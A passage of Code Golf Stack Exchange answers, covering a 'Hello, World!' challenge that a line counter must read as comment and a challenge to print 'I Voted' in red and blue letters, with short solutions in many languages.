sckYQhlObXpBo1fQwygSTimOdNJ6St1CzrRmKvQlS7hU1/x6NmMUZZZlcnm9vmEiVIYZ2U9gKoheEc/qeQYs8L6IGoJBgXbMMqeqKOvF45NFeDkvskoL4AN2Fc6Yz@awIyQd0XWoLuA@owJleTzxPXG8SpdpEGrIzKtV/nlVzUEHQQiHbHnl@/7set0GDcoHbdygHcePE5wzIHi0ZwXDLWiEBvvKIZZQbA@DG/bYMOfr5FRGOSZpDGG40eiwLQ7zJbD/mkYxgNLJ6r@lUc/FCZZyeYR3TGtYYZv6yEo2hKdkhg37DfrWBj2rnXhylA0OhO@NfS@rochhrCflJNUuhr9SsN86A@Bde58tjBL3nRnRTvxBhTTGnZq1y5vJxlx2xLFt2FtyU0BWmhY7m0mAk/qR3jQ7/kIBo01a02WIhE9lthb8p21gpSnk3Av2TMmGU3d2uD45Nzn@/NUWdGyRj8rF2Ib8lCa9ta28TaXlMht1y5LbihshMNLu6S7LhSTsSNGaioLcfs/t1QtpX3J7Le2ZmzFWxajhSpbHpS1sYn6e1Io8KcpRy4rGMurUcuj3XhppWbwtJtq7NVXzPPudgTv3bFAuCAzEYLeicSa/ucpAxTZs@VMB9bRYTCaQYtBADJ6l0iTc0rch7tmiT6caRpVFbnldWOvD1i010m8WzAW5AZuGCym2JGKrdQPxEKpCUocKjZ79cEOd@mBblou1MWr/kN/0zQZ7duFiiVoMxV8pbBWNimrY0lcuWiQ/xWkNDK7dCOB3XP34o0Mj34Gx8byh@vn9W1uH8OA8RpSR3fhBFt1woskjGK6PQpDxn4j5t6ZltnfXjCjwJoTDRqRkVkEaxJyiI@wvEHmMrk6EPUD2VDyIDP7hI2dPgKkjAKkFfmcPwZV8/N74EcfGE09iz2DAVD4WYqKgDkZTCJdxk9/xLROpAPloxKGEuz4QUpB30cuJuhxZ7MxBtbtfPl9/@fJlNlsuluvFuoRgWQ/@rtMUkOnfRZVGF4Mv4OD/AQ "CoffeeScript 2 – Try It Online") [Answer] # Python 2, 30 bytes If using Python 2, [nobody's solution](https://codegolf.stackexchange.com/a/215742/99505) can be improved slightly. ``` '''"""''';print"Hello, World!" ``` `sloc` outputs ``` { total: 1, source: 0, comment: 1, single: 0, block: 1, mixed: 0, empty: 0, todo: 0, blockEmpty: 0 } ``` [Try it online](https://tio.run/##K6gsycjPM/r/X11dXUlJCUhaFxRl5pUoeaTm5OTrKITnF@WkKCr9//8fAA) [Answer] # [PHP](https://php.net), with various commandline shenanigans, 0-33 Depending how I read [Command-line flags on front ends](https://codegolf.meta.stackexchange.com/questions/14337/command-line-flags-on-front-ends/14339#14339), various of these answers may apply. I feel none do, so downvotes are fine and expected on this one :) I'm posting it more as an exploration of the problem-space, perhaps towards an eventual argument that a solution is not possible in PHP, than an answer that I expect to be accepted. I've given my arguments against them all, summarized with **opinionated bold statements**, because that naturally makes the arguments more true. I'm very interested to hear counterarguments, or additional arguments, in the comments! ## php -r 'echo"Hello, World!";', 0 One interpretation is that nothing on the commandline counts, but that the entire commandline is treated as a kind of "language dialect name" for the entry. Against: **All code should be counted**. Otherwise, this approach makes any contest where bytes matter trivial in almost any language, by offloading all work to the CLI. The parameters to the -r flag here are not a "flag to choose a language option", they are "code", and should be counted as such. ## PHP -r, 20 ``` php -r 'echo"Hello, World!";' ``` It could be argued that, while we count the code on the CLI, the sloc requirement only applies to the contents of source files. If there is no source file, then there are no code lines in source files! Against: **All counted code should be passed to sloc**. Every language lets you slap code in the cli params. The challenge isn't meant to degrade into "run hello world without using a source file", so this isn't an interesting solution to the challenge. ## PHP -r ignoring quotes, 29 ``` php -r '/**/echo "Hello, World!";/**/' ``` So we can pass in a minimal code sample on the commandline, getting all the benefits of avoiding PHP's <? requirement, without paying any significant penalty. Against: **Necessary escaping of code should count as code**. There's no good argument FOR ignoring the quotes. Not-ignoring them makes challenges more interesting anyway. So I'd argue that all characters which are counted should be passed to sloc, and this solution is wrapped in quotes, and the quotes should be counted. A quoted string counts as a code line in sloc. So, this fails the sloc test. ## PHP -r plus shell escapes, 33 ``` php -r/**/echo\"Hello,\ World\!\"\;/**/ ``` Against: **This is no longer PHP.** We're not, now, really coding in PHP, we're coding in (some shell) + PHP. If this were submitted as a bash script it'd count as 39 characters, and it'd fail the sloc test. We shouldn't get to reduce the count and pretend it passes, just by pretending it's run in one of the utilities the shell called. ## PHP with filepath and param ordering, 16. This one's a two-parter! First, a file called `/x`, containing only our 13 character output string: ``` Hello, World! ``` Call it as: ``` php //x ``` Then, assuming 1) we count the filename as it is used on the commandline, and 2) we prepend that to the code we pass to sloc, because everything counted is code, sloc interprets it as a one-line comment. Against: **both assumptions above are dumb.** ## PHP with various failed efforts, inf Including these just as informational: trying both -r and a file specifier, to address the "depends how we concatenate" problem, above. 1. filename for comment, then -r for code. php //x -r 'echo "hi"'; The -r param did not run if a filename preceded it on the line. Same was true of the `-B`, `-R`, `-E`, `-F` params. Against: **Given the -r flag doesn't count, it's hard to see how this woulda been counted. And it doesn't work anyway.** 2. Maybe the BREF group didn't work because they need actual input lines to parse, since they control per-input-line behavior? echo | php //x -B 'echo "hi"'; Same deal. They don't run if a filename for an empty file precedes them on the line. Same was true of the `-R`, `-E`, `-F` params. Against: **This is now (some shell), and it doesn't work.** 3. The `-w` param is "Output source with stripped comments and whitespace." which almost sounds like an exact description of the challenge! Using `php -w x.php`, a source file like /**/Hello, World!/**/ ... feels like it should work. Against: **A coding challenge requires that the code runs.** No actual code was executed, and I feel that's required, to be in the spirit of a coding challenge. More importantly, it doesn't work: without a leading `<?`, PHP doesn't see this as PHP code, so does not strip the comments. 4. Trying variations on this approach, turns out `-w` does not work with `-r`. 5. But `-w` does run with direct or piped input. However, these have the exact same problem as using a file: PHP requires the leading `<?`. 6. What about exploiting ini file params? php -a -d cli.prompt='"Hello, World!"' Against: **Doesn't run code, doesn't work.** Almost works, but also outputs "Interactive mode enabled\n\n". ## Exhaustive exploration of PHP-CLI args Some push unwanted output to stdout that cannot be modified or redirected through config or code, so are unusable: * `-a` Run interactively. * `-h` Help. * `-i` Show info. * `--ini` list ini files. * `-l` Lint. * `-m` Module list. * `--rf` function info. * `--rc` class info. * `--re` ext info. * `--rz` Zend ext info. * `--ri` ext config info. * `-s` Prettyprint source. * `-v` Version. Some seem to offer no advantage over simpler alternatives: * `-B` Begin code. No better than -r? * `-E` Run at end. No better than -r? * `-f` File. No better than default exec file param? * `-F` File every line. No better than default exec file param? * `-R` Run every line. No better than -r? Some seem irrelevant, affecting neither perception as a comment, nor output: * `-c` Config path. Irrelevant? * `-e` Debug info. Irrelevant? * `-H` Hide args from ps. Irrelevant? * `-n` No Config. Irrelevant? * `-S` Webserver. Irrelevant? * `-t` Docroot. Irrelevant? This leaves us with just four that look potentially exploitable. * `-d` Define INI entry, which could include these likely candidates: + `auto_append_code`/`auto_prepend_code` could help somehow, but not sure how they'd be any better than the `-f` flag. + `cli.prompt` already tried above. + `memcache.*`/`opcache.*` could create output then modify code? Feels an invalid solution, though, even if it worked. + `filter.default` I think only filters input, not output and certainly not code. + `output_buffering` feels like a VERY likely candidate. + `output_handler` feels like a VERY likely candidate. * `-r` Run code. Explored above, no success. * `-w` Print stripped source. Explored above, no success. * `-z` zend ext. Would require a zend extension that could help us. [Answer] # JavaScript (Browser), 34 Bytes ``` /**/console.log`Hello, World!`/**/ ``` ``` ---------- Result ------------ Physical : 1 Source : 0 Comment : 1 Single-line comment : 0 Block comment : 1 Mixed : 0 Empty block comment : 0 Empty : 0 To Do : 0 Number of files read : 1 ---------------------------- ``` # Python, 36 Bytes ``` '''#''';print("Hello, World!");"'''" ``` ``` ---------- Result ------------ Physical : 1 Source : 0 Comment : 1 Single-line comment : 0 Block comment : 1 Mixed : 0 Empty block comment : 0 Empty : 0 To Do : 0 Number of files read : 1 ---------------------------- ``` [Answer] 976 9 JavaScript (Browser), 34 Bytes ``` /**/console.log`Hello, World!`/**/ ``` ## Result ``` Physical : 1 Source : 0 Comment : 1 Single-line comment : 0 Block comment : 1 Mixed : 0 Empty block comment : 0 Empty : 0 To Do : 0 Number of files read : 1 ``` [Answer] # [C# (Visual C# Interactive Compiler)](http://www.mono-project.com/docs/about-mono/releases/5.0.0/#csc), 30 bytes ``` /**/Write("Hello, World!")/**/ ``` [Try it online!](https://tio.run/##Sy7WTS7O/P9fX0tLP7wosyRVQ8kjNScnX0chPL8oJ0VRSRMk8/8/AA "C# (Visual C# Interactive Compiler) – Try It Online") ]
[Question] [ Today is November 8th, 2016, [Election Day](https://en.wikipedia.org/wiki/Election_Day_(United_States)) in the United States of America. If you are a U.S. citizen eligible to vote, then [go out and vote](https://www.google.com/#q=where+do+i+vote) if you haven't already before answering this challenge. **Do not discuss who you voted for.** It only matters that you voted. If you are not a U.S. citizen or not eligible to vote, then, before answering this challenge, do the U.S. a favor by telling anyone you know who is an eligible citizen to [go out and vote](https://www.google.com/#q=where+do+i+vote) if they haven't already. # Challenge Write a program that indicates that you voted, like a digital ["I Voted" sticker](https://commons.wikimedia.org/wiki/File:I_Voted_Sticker.JPG). It should take no input and must output in a reasonable way the phrase `I Voted` where the `I`, `o`, and `e` are red (`#FF0000`) and the `V`, `t`, and `d` are blue (`#0000FF`). The background must be white (`#FFFFFF`). For example: > > [!["I Voted" example graphic](https://i.stack.imgur.com/sbIcI.png)](https://i.stack.imgur.com/sbIcI.png) > > > These colors are of course representative of the [American flag](https://en.wikipedia.org/wiki/Flag_of_the_United_States) (though not [the official colors](https://en.wikipedia.org/wiki/Flag_of_the_United_States#Colors)). Red comes first simply because it comes first in the common idiom "red white and blue". To be valid, an answer must: * Use the colors specified in the arrangement specified. * Use a single legible font and font size. The example uses 72pt Times New Roman bold but any common font above 6pt is probably fine. * Have just the phrase `I Voted` on a **single line**, capitalized correctly, with a clear space between the two words. It shouldn't look like `IVoted`. * Not indicate who the answerer voted for or supports for president or any down-ballot races. Let's not start any internet debates. This is about celebrating voting, not candidates. Any reasonable way of displaying or producing the output is valid, such as: * Drawing the text to an image that is then displayed, saved, or output raw. * Writing the text to a console using [color formatting](https://en.wikipedia.org/wiki/ANSI_escape_code#Colors). In this case you may approximate pure red and blue if necessary, and it's ok if only the area directly behind the text can be made white. * Displaying the text on a WPF/Windows form. * Outputting an HTML/RTF/PDF file with the text. Please post an image of your output. **The shortest answer in bytes wins.** [Answer] ## Minecraft Chat (vanilla 1.10 client, spigot 1.10 server): 19 bytes ``` &4I &1V&4o&1t&4e&1d ``` or from the clientside: ``` §4I §1V§4o§1t§4e§1d ``` Minecraft uses a color coding system with these colors programmed in. [![enter image description here](https://i.stack.imgur.com/Kd7Xr.png)](https://i.stack.imgur.com/Kd7Xr.png) Mind the rules: > > * Writing the text to a console using color formatting. In this case you may approximate pure red and blue if necessary, and it's ok if only the area directly behind the text can be made white. > > > All of these are true, as: the red and blue ARE approximations (though still very similar). The background in Minecraft chat is transparent, meaning that it's possible to put this on a white background (such as an empty world or a world which is still generating). [Answer] # C, ~~82~~ ~~80~~ ~~78~~ ~~74~~ 54 bytes *Thanks to @WillihamTotland and @criptych for saving 2 bytes each!* ``` f(){puts("␛[47;31mI␛[34m V␛[31mo␛[34mt␛[31me␛[34md");} ``` Where the ␛s represent 0x1B bytes (escape key). As this code contains unprintable control characters, here is a reversible hexdump: ``` 00000000: 6628 297b 7075 7473 2822 1b5b 3437 3b33 f(){puts(".[47;3 00000010: 316d 491b 5b33 346d 2056 1b5b 3331 6d6f 1mI.[34m V.[31mo 00000020: 1b5b 3334 6d74 1b5b 3331 6d65 1b5b 3334 .[34mt.[31me.[34 00000030: 6d64 2229 3b7d md");} ``` Output on my phone: ![](https://i.stack.imgur.com/BaDos.jpg) [Answer] # [Google Blockly](https://blockly-games.appspot.com/turtle), ~~10~~ 14 blocks, ~~28~~ ~~41~~ 35 blytes ### Code [![enter image description here](https://i.stack.imgur.com/omGDX.png)](https://i.stack.imgur.com/omGDX.png) ### Output [![enter image description here](https://i.stack.imgur.com/BhtRv.png)](https://i.stack.imgur.com/BhtRv.png) [Try it here](https://blockly-games.appspot.com/turtle?lang=en&level=10#ncejg6) Not counting the `hide turtle` block because it's just aesthetics. A blyte is a combination of a block and a byte, there's no meta post yet as how to count this, but I'll create one later. As for now, this is how I count: * `I o e`, 8 blytes * `V t d`, 10 blytes (2 leading spaces here) * Colours, 1 blyte each, 2 total * 90, 2 blytes * 999, 3 blytes * 0, 1 blyte * turn right, 2 blytes * move forward, 2 blytes * normal blocks, 1 blyte each, 5 total Since Google Blockly is rarely used for golfing and I'm thinking waaay outside of the box for this challenge, I hope this is a valid submission. [Answer] # HTML, 52 bytes ``` I <c>V<e>o<c>t<e>e<c>d<style>*{color:red}c{color:0ff ``` [Answer] # LaTeX, ~~147~~ 126 bytes ``` \documentclass{proc}\input color\begin{document}\def\z{\color{red}}\def\y{\color{blue}}\z I \y V\z o\y t\z e\y d\end{document} ``` *Saved 21 bytes and got better kerning thanks to @AndreïKostyrka.* This prints an a4 page with this on the first line (note that this also prints page 1 on the bottom): [![enter image description here](https://i.stack.imgur.com/TtdsT.png)](https://i.stack.imgur.com/TtdsT.png) [Answer] ## Windows 10 Batch, ~~51~~ 50 bytes ``` @color fc&echo I ␛[94mV␛[91mo␛[94mt␛[91me␛[94md␛[m ``` Where ␛ represents the ANSI Escape 0x1B character. Outputs using colour formatting. Edit: Saved 1 byte thanks to @brianush1. I tried writing the code to generate this but it took 97 bytes. Output: ![I voted](https://i.stack.imgur.com/Jn244.png) [Answer] # JavaScript, 71 bytes ``` console.log('%cI %cV%co%ct%ce%cd',r='color:red',b='color:blue',r,b,r,b) ``` Makes use of `console.log`'s ability to print in color. Doesn't work in a stack snippet so you should paste this answer to the console to test it. [![enter image description here](https://i.stack.imgur.com/Z2UBW.png)](https://i.stack.imgur.com/Z2UBW.png) Picture credits to @Mast [Answer] # R, 113 85 81 74 73 55 bytes Edit: Saved a bunch of bytes thanks to @rturnbull and @JDL ``` plot(8:1,0:7*0,pc=el(strsplit("detoV I","")),co=2:1*2) ``` The size of the output (and spacing etc) depends on the resolution of the currently open graphics device. Tested in RGui and RStudio on my monitor and produces: [![enter image description here](https://i.stack.imgur.com/gslLl.png)](https://i.stack.imgur.com/gslLl.png) [Answer] ## [LÖVE](https://love2d.org/), ~~152 142~~ 136 bytes Let's show some löve for a fun little prototyping language! It's not perfect for the task of golfing (c'mon, it's LUA based), but it's easy to write. ``` function love.draw()l=love.graphics a=255 l.setBackgroundColor(a,a,a)s=l.setColor p=l.print s(a,0,0)p('I o e')s(0,0,a)p(' V t d')end ``` --- Screenshot: [![screenshot](https://i.stack.imgur.com/VPG2A.png)](https://i.stack.imgur.com/VPG2A.png) --- Fully ungolfed version: ``` function love.draw() love.graphics.setBackgroundColor(255,255,255) love.graphics.setColor(255,0,0) love.graphics.print('I o e') love.graphics.setColor(0,0,255) love.graphics.print(' V t d') end ``` [Answer] ## [Hot Soup Processor](https://en.wikipedia.org/wiki/Hot_Soup_Processor), 48 bytes ``` color 255 mes"I o e pos,0 color,,-1 mes" V t d ``` The ungolfed version is: ``` color 255,0,0 mes "I o e" pos 0,0 color 0,0,255 mes " V t d" ``` If you bear in mind that `mes` (message) is HSP's `echo`, I think this is fairly readable. Weirdly, if you try to do `pos` or `pos,`, the blue line doesn't overwrite the red line and appears beneath it. Even weirder, `color` is only meant to take values in `0-255`, but `0,0,-1` works for blue, `0,-1,0` works for green and `-1,0,0` works for... black? (`-257,0,0` and `511,0,0` work for red though, so something's funky about the mod 256 going on) [![enter image description here](https://i.stack.imgur.com/sfcHem.png)](https://i.stack.imgur.com/sfcHem.png) [Answer] ## MATLAB, 74 bytes We create a white 50x50 (one column for each state) background using `imshow` of an array of `ones`. We then display a text, using my [trick of shortening property names](https://codegolf.stackexchange.com/a/48268/32352) to get the colours. Since the default font is not fixed width, the text is padded with spaces. ``` imshow(ones(50)) text(2,9,'I o e','Co','r') text(8,9,'V t d','Co','b') ``` [![enter image description here](https://i.stack.imgur.com/EBgGh.png)](https://i.stack.imgur.com/EBgGh.png) ### MATLAB, 99 bytes, fixed width font The first version uses fiddling with spaces and coordinates to get a proper kerning on the default font, and might not display properly on your computer. Instead, we can use a fixed width font, like `Courier` (or, for some more bytes, `FixedWidth` which works on any system that has a fixed width font installed). This does come at the cost of quite a few extra bytes. We can mitigate this slightly by using a `for` loop to print the text. The text and corresponding colours are stored in a cell array. The background needs to be a little bit larger. ``` imshow(ones(80)) for y={'I o e ',' V t d';'r','b'} text(9,9,y{1},'Co',y{2},'FontN','Courier') end ``` [![enter image description here](https://i.stack.imgur.com/eOcWQ.png)](https://i.stack.imgur.com/eOcWQ.png) ### Matlab, 80 bytes bonus edition Sadly, underlined blue text is not allowed. Otherwise, this answer would have highlighted some interesting behaviour in MATLAB. You can print red text using `fprintf(2,txt)`, and you can print blue underlined text with `fprintf('<a href="">txt</a>')`. Combining this works... sometimes. **Completely at random**, it may also create red underlined text. You can issue `drawnow` between consecutive `f` calls if this is the case on your system. ``` f=@(p)fprintf(2,'%s<a href>%s</a>',p(1:end-1),p(end));f('I V');f('ot');f('ed');fprintf('\n') ``` [![enter image description here](https://i.stack.imgur.com/gSa9q.png)](https://i.stack.imgur.com/gSa9q.png) [Answer] # ImageMagick, 102 bytes ``` magick xc:[x60] -fill red -draw 'text 5,30 "I o e"' -fill blue -draw 'text 15,30 "V t d"' x: ``` Ungolfed: ``` magick convert canvas:white[60x60!] \ -fill red -draw 'text 5,30 "I o e"' \ -fill blue -draw 'text 15,30 "V t d"' \ show: ``` [![enter image description here](https://i.stack.imgur.com/1AZfV.png)](https://i.stack.imgur.com/1AZfV.png) Golfing the full ImageMagick command consisted of * not explicitly calling the default `convert` utility * using `xc:` instead of `canvas:` (`xc:` is an old synonym for `canvas:`; I don't foresee ImageMagick ever eliminating it) * not specifying the canvas color but relying on ImageMagick's default, which happens to be white * removing the width `60` from the geometry (when it's omitted, width==height) * removing the "!" from the geometry which is only needed to produce a non-square canvas, like `canvas:white[60x30!]` * using the older `x:` instead of `show:` as the output file (assumes that ImageMagick was built with `X` support) * removing some whitespace that I had used to line up the text strings * joining the multiple lines of the command (removed the backslash-CR between lines) If you are so inclined after the election, add 12 bytes `-rotate 180` preceding the `show:` directive: [![enter image description here](https://i.stack.imgur.com/5F2uJ.png)](https://i.stack.imgur.com/5F2uJ.png) [Answer] # Bash, 35 bytes My script looks like this ``` echo "^[[47;31mI hope^[[34md^H^H^Ht^H^H^Hv" ``` xxd of script file: ``` 0000000: 6563 686f 2022 1b5b 3437 3b33 316d 4920 echo ".[47;31mI 0000010: 686f 7065 1b5b 3334 6d64 0808 0874 0808 hope.[34md...t.. 0000020: 0876 22 .v" ``` Typing it: ctrl-v-esc and ctrl-v-h will insert the escapes and backspaces (^[ and ^H). [![enter image description here](https://i.stack.imgur.com/Nd7Tz.png)](https://i.stack.imgur.com/Nd7Tz.png) [Answer] # Mathematica (REPL image output), ~~65~~ 49 bytes ``` Overlay@{"I o e"~Style~Red," V t d"~Style~Blue} ``` Graphical REPL expression. ![](https://i.stack.imgur.com/dn9PK.png) [Answer] # Java, ~~322~~ ~~319~~ ~~318~~ ~~309~~ ~~304~~ ~~229~~ 217 bytes -9 Bytes thanks to kevin. -75 Bytes thanks to Angzuril, nice callout on the old awt classes, always forget those exist. -12 Bytes thanks to user902383. ``` import java.awt.*; void n(){new Frame(){{add(new Panel(){public void paint(Graphics g){int i=0;for(String c:"IVoted".split("")){g.setColor(i%2<1?Color.RED:Color.BLUE);g.drawString(c,i++*8,10);}}});setVisible(0<1);}};} ``` Output: [![enter image description here](https://i.stack.imgur.com/KMMPm.png)](https://i.stack.imgur.com/KMMPm.png) [Answer] # Bubblegum, 28 bytes ``` 0000000: 938e 3636 ccf5 0492 e6b9 0a40 d224 370c ..66.......@.$7. 0000010: 2c92 0f66 9780 d9a9 6076 0a00 ,..f....`v.. ``` [![enter image description here](https://i.stack.imgur.com/qGloV.png)](https://i.stack.imgur.com/qGloV.png) Does not work online since it uses ANSI color codes for coloring. [Answer] ## PowerShell v2+, ~~71~~ ~~59~~ ~~57~~ 55 bytes ``` "I Voted"[0..6]|%{Write-Host -b w -n -f (9,12)[$_%2]$_} ``` *Saved two bytes thanks to [@flashbang](https://codegolf.stackexchange.com/users/61224/flashbang) ... saved two more thanks to [@ConnorLSW](https://codegolf.stackexchange.com/users/59735/connorlsw)* Takes `"I Voted"` and turns it into a `char`-array, then loops `|%{...}`. Each letter, we execute `Write-Host` with the `-b`ackground color to `White`, `-n`oNewLine, and the `-f`oreground color to be the [appropriate index](https://msdn.microsoft.com/en-us/library/system.consolecolor(v=vs.110).aspx). This leverages the fact that odd ASCII values are Red, while even ASCII values are Blue via `$_%2` as the index. Console colors in PowerShell are *very* limited, so this is the closest approximation I could get. It would be golfier to use `4` (`DarkRed`) for the red, but it doesn't look right, so I'm sacrificing a couple bytes for the sake of color accuracy. Below is the output, followed by the 16 available colors the console can display. Note that the background isn't *truly* white, since Microsoft in their wisdom opted to have the background colors ever-so-slightly-off from the foreground colors. [![Console Output](https://i.stack.imgur.com/9w3Xr.png)](https://i.stack.imgur.com/9w3Xr.png) [Answer] # Python, 91 bytes + `termcolor` Not gonna win, but posted it for fun. ``` from termcolor import* for c in'I Voted':cprint(c,'brleude'[ord(c)%2::2],'on_white',end='') ``` Half the credit goes to Sp3000. [Answer] # Python IDLE, ~~97~~ ~~96~~ ~~78~~ 69 bytes *Thanks to DrMcMoylex for shaving off some bytes!* *EDIT: Figured out that a direct `.write()` was 9 bytes shorter* Not really a proper answer, more abuse of a standard theme. IDLE is Python's IDE, and unless it's customized, `STDOUT` is blue, `STDERR` is red, and the background is white. So, the following code: ``` from sys import* for i in'I Voted':[stdout,stderr][ord(i)%2].write(i) ``` Prints this: [![enter image description here](https://i.stack.imgur.com/maWj1.png)](https://i.stack.imgur.com/maWj1.png) This works because `ord(i)%2` checks the parity of the letter's code point and prints it to `ERR`/`OUT` accordingly. [Answer] # Jolf, 53 bytes ``` "<z>I <w>V<z>o<w>t<z>e<w>d<style>w{ΞΩ4blue}z{ΞΩ4red ``` There are unprintables. [Try it here!](http://conorobrien-foxx.github.io/Jolf/#code=Ijx6PkkgPHc-Vjx6Pm88dz50PHo-ZTx3PmQ8c3R5bGU-d3vOnh3OqTRibHVlfXp7zp4dzqk0cmVk) Jolf's output is HTML capable. I tried doing something clever like modulus 2 to decide color, but that only wound up longer (around 69 bytes). So, the output is in HTML. Output: [![regular "I Voted"](https://i.stack.imgur.com/ygDZc.png)](https://i.stack.imgur.com/ygDZc.png) (larger version) [![large "I Voted"](https://i.stack.imgur.com/vZDLH.png)](https://i.stack.imgur.com/vZDLH.png) [Answer] # Python, ~~99~~ 87 bytes ``` from turtle import* up() for c in"I Voted":color("brleude"[ord(c)%2::2]);write(c);fd(7) ``` [**Try it online**](https://trinket.io/python/7b15195a1e) [Answer] # sh, ~~61~~ 49 bytes ``` echo "[47;31;1mI [34mV[31mo[34mt[31me[34md" ``` Because this contains unprintables, here is a reversible xxd hexdump: ``` 00000000: 6563 686f 2022 1b5b 3437 3b33 313b 316d echo ".[47;31;1m 00000010: 4920 1b5b 3334 6d56 1b5b 3331 6d6f 1b5b I .[34mV.[31mo.[ 00000020: 3334 6d74 1b5b 3331 6d65 1b5b 3334 6d64 34mt.[31me.[34md 00000030: 22 " ``` [![I Voted](https://i.stack.imgur.com/DVtzl.png)](https://i.stack.imgur.com/DVtzl.png) *Xterm(322)* Thanks to 4198 (manatwork) for -12 bytes. [Answer] # SVG + `bzip2`, 1807 bytes A vectorized version of the example image, then compressed with bzip2 to about half (4385 -> 1807 bytes). You can download it [here](https://crazypython.github.io/datadump/a.svg.bz2). (direct GitHub Pages link) ``` BZh91AY&SY!�l�ß�x��>�ߠ/���` 0����Ҁ�D�5��ޠII�T񡤙�O!45J??��i�@JzH��� .�M�&�Q�vا����bB���� �쾾�4AV�8�8���)Z�ޣ�j�q}�����?�t�/ �±%��"A����B�X�(␌�[⎺;Z/┐├*��%�␤� I���Uƒ�Y�9ǝK���B��┤�=���±?�W��� ��ڰj�?�H��\����^��m�=X�d���>�!C�@�.���9�" DZ+��V1+�;�����58Q���-:�5,HDQŧ`A>����W�+h��>m��G�m�uWv�&�U�|mq�u���?=S�\{(��Z�a�I��G{Cd��;Bz���qX7��?P�@�Jt[w�]����%W���37f���-񴁭�iԳ]c��|�;i�k�H�� sHz��Y�$�.�*�?�ڐ��Us=\뫅6%�Ud�9w���D ��H��^�Q��P��%n�O����l��+*q�U�"F%��*� *b�� @mP���Z�(ZL` bIv⦳�~�F=��>H�Ti����0@≠R≥��T�E��┴��D����␍│��2*◆=└6&⎽M�◆␊?�/�U�����r�.�`gƅ���E'��^��ILPz@���zR&u$��l^�U�n�'O\�Xj+چ�o�*�O�w��JP8���]���r��k=��N�b�ƵpM�8|���=7���N��W�M(����*�E�DݐT��Zi�v"���49�J�0}�F�*x�K���P��⎼*�������6[G,4� ү)UUT␍��%4D��Թ␉��⎻�8�CZ_3ɷwW�9��-&�Ov�a՜ �'ӥtߢ�>��^�m-������c�]:��*��2��촄Ujr�?"�J�"���DE�f?┴⎻��␍3·└���Ԉ��? ׌�5|ᫎ���|DO���%�4Ư`W�ƐV/=�]V`gˇ��^Z��cP������.{������6 o.*�sɽ���U?E.3�,�H$�{�? �%�0��2 ��n�C!%�>��]�� #߽v�E��K��?X|���5�ΰ@>A;#J���,��Q��$���ݨ��^����7�g�Xn�k����d욒�`fQ/7��vh|�ȥ*^M �[����׈���i�I�� $��4�� Y��`V.��ح��?�eT����5K˱~�瞯r�fL^I �#b�@�pBƞ���V`5��a��qH���Ş�t�V3��┌���T���1␉�␍$5��@T␤$�>$����π���S�[۸£�[ȟ␋CO≥�ގ^��>��]E�A��┘���I(�㴨Z�J'��:�-_┤±�K␌�ۓ#:�?m��^�Z�+�����G �k�t�O��SD�4����^o��Z�n���6M�)!��r��w�3\�R���� �X6<#����.��p� Cj"�2�ĭ�*h�S�`}�L���C?�� �چZc'kG�� ``` Not gonna win, but posted it for fun. [Answer] ## C, 65 bytes ``` i;main(c){for(;c="I Voted"[i++];printf("\33[3%dm%c",c&1?1:4,c));} ``` or, more accurately: ``` i;main(c){for(i=90;c="\0.noitcele ym saw ti fi enod evah dluow I sseug I tuB .hsitirB ma I esuaceb ,etov ton did I"[i--];printf("\33[3%dm%c",c&1?1:4,c));} ``` Uses the same bash colour technique used by betseg, but with the octal escape sequence instead of hex, and with Sp3000's observation that all odd codepoints are red. Leaves the terminal in blue. Reset with: ``` printf "\33[0m"; ``` [Answer] # Node, ~~57~~ ~~55~~ 41 bytes ``` console.log("q47;91mI o eHHHHq94mV t d") ``` Replace each `q` with the literal byte `1B` and `H` with byte `08` before running. Here's how it looks in the ConEmu terminal emulator on my Windows computer (zoomed in): [![enter image description here](https://i.stack.imgur.com/Nvvud.png)](https://i.stack.imgur.com/Nvvud.png) [Answer] ## [REBOL](http://www.rebol.com/), ~~100~~ ~~90~~ 95 bytes (-7 bytes with REPL for 88) ``` REBOL[]view layout[style b tt blue white space 0 across b"I"red b b"V"b"o"red b"t"b"e"red b"d"] ``` In REPL, the initial *REBOL[]* is not required. That's 7 bytes. The ungolfed version is: ``` REBOL[] view layout[ ; by default, tt (text) has a grey background and a 2x2 padding style b tt blue white space 0 ; this one doesn't appear in the golfed version as it's slightly shorter to just manually set red everywhere needed style r b red ; by default, vertical stack panel across r "I" r b "V" r "o" b "t" r "e" b "d" ] ``` On the left, with "space 0x0" added to each text block, on the right, with the default 2x2 padding. [![REBOL I Voted](https://i.stack.imgur.com/ui76m.jpg)](https://i.stack.imgur.com/ui76m.jpg) (source: [canardpc.com](http://tof.canardpc.com/view/0fe86fe8-4eb8-4d38-9a21-db226b41bc7f.jpg)) [Answer] # Perl, 57 + 17 = 74 bytes Run with `-MTerm::ANSIColor` ``` sub c{color$a++%2?blue:red}say c,"I ",c,V,c,o,c,t,c,e,c,d ``` Your terminal may be blue at the end (append `,c("reset")` at the end of the code to restore it to normal). By default, terminals are *usually* black background, but they can be optionally changed to white, which I personally don't think is cheating. With picture: [![enter image description here](https://i.stack.imgur.com/siklB.png)](https://i.stack.imgur.com/siklB.png) [Answer] # PHP, ~~199~~ ~~201~~ 151 bytes This script outputs image to standard output. **Updated thanks to manatwork** ``` imagefill($i=imagecreatetruecolor(99,99),0,0,2**24-1);foreach([I,' ',V,o,t,e,d]as$k=>$e)imagestring($i,2,$k*9,0,$e,!$k|$k&1?0xFF0000:255);imagepng($i); ``` Run it in the command line like this: ``` php -d error_reporting=0 -r "imagefill($i=imagecreatetruecolor(99,99),0,0,2**24-1);foreach([I,' ',V,o,t,e,d]as$k=>$e)imagestring($i,2,$k*9,0,$e,!$k|$k&1?0xFF0000:255);imagepng($i);" > output.png ``` Output: [![enter image description here](https://i.stack.imgur.com/3VOlE.png)](https://i.stack.imgur.com/3VOlE.png) [Answer] # Xamarin.Forms C#, ~~317~~ 313 bytes ``` using Xamarin.Forms;public class A:Application{public A(){var s=new StackLayout{BackgroundColor=Color.White,Orientation=(StackOrientation)1,VerticalOptions=LayoutOptions.End};foreach(var c in"I Voted")s.Children.Add(new Label{Text=c+"",TextColor=c%2<1?Color.Blue:Color.Red});MainPage=new ContentPage{Content=s};}} ``` [![](https://na.cx/i/9TFm9r.jpg)](https://na.cx/i/9TFm9r.jpg) `VerticalOptions=LayoutOptions.End` is needed for iOS, otherwise the text will be overlayed by status bar. No problem on Android so can save 34 bytes including comma. *Edit: 2016-11-14: -4 bytes* Ungolfed ``` using Xamarin.Forms; public class A : Application { public A() { // Make a horizontal StackLayout for labels var s = new StackLayout { BackgroundColor = Color.White, Orientation = (StackOrientation)1, // 